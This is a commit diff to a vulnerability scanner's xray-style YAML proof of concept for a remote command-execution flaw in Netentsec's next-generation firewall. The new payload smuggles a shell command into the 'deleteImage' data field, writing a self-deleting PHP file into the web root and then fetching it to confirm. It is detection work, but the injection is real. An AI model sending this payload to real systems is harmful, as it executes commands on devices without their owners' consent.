优化xray解析模块,支持groups、新增poc

WebScan/pocs/netentsec-ngfw-rce.yml

@@ -1,19 +1,19 @@
 name: poc-yaml-netentsec-ngfw-rce
 set:
-  r1: randomLowercase(4)
-  r2: randomLowercase(4)
-  r3: randomInt(800000000, 1000000000)
-  r4: randomInt(800000000, 1000000000)
+  r2: randomLowercase(10)
 rules:
   - method: POST
     path: /directdata/direct/router
-    body: >-
-      {"action":"SSLVPN_Resource", "method":"deleteImage", "data":[{"data":["/var/www/html/{{r1}};expr {{r3}} + {{r4}} > /var/www/html/{{r2}}"]}], "type":"rpc", "tid":17, "f8839p7rqtj":"="}
-    expression: response.status == 200
+    body: |
+      {"action":"SSLVPN_Resource","method":"deleteImage","data":[{"data":["/var/www/html/d.txt;echo '<?php echo md5({{r2}});unlink(__FILE__);?>' >/var/www/html/{{r2}}.php"]}],"type":"rpc","tid":17}
+    expression: |
+      response.status == 200 && response.body.bcontains(b"SSLVPN_Resource") && response.body.bcontains(b"\"result\":{\"success\":true}")
   - method: GET
-    path: /{{r2}}
-    expression: response.status == 200 && response.body.bcontains(bytes(string(r3 + r4)))
+    path: /{{r2}}.php
+    expression: |
+      response.status == 200 && response.body.bcontains(bytes(md5(r2)))
 detail:
-  author: jingling(https://github.com/shmilylty)
+  author: YekkoY
+  description: "网康下一代防火墙_任意命令执行漏洞"
   links:
-    - https://mp.weixin.qq.com/s/wH5luLISE_G381W2ssv93g
+    - https://mp.weixin.qq.com/s/wH5luLISE_G381W2ssv93g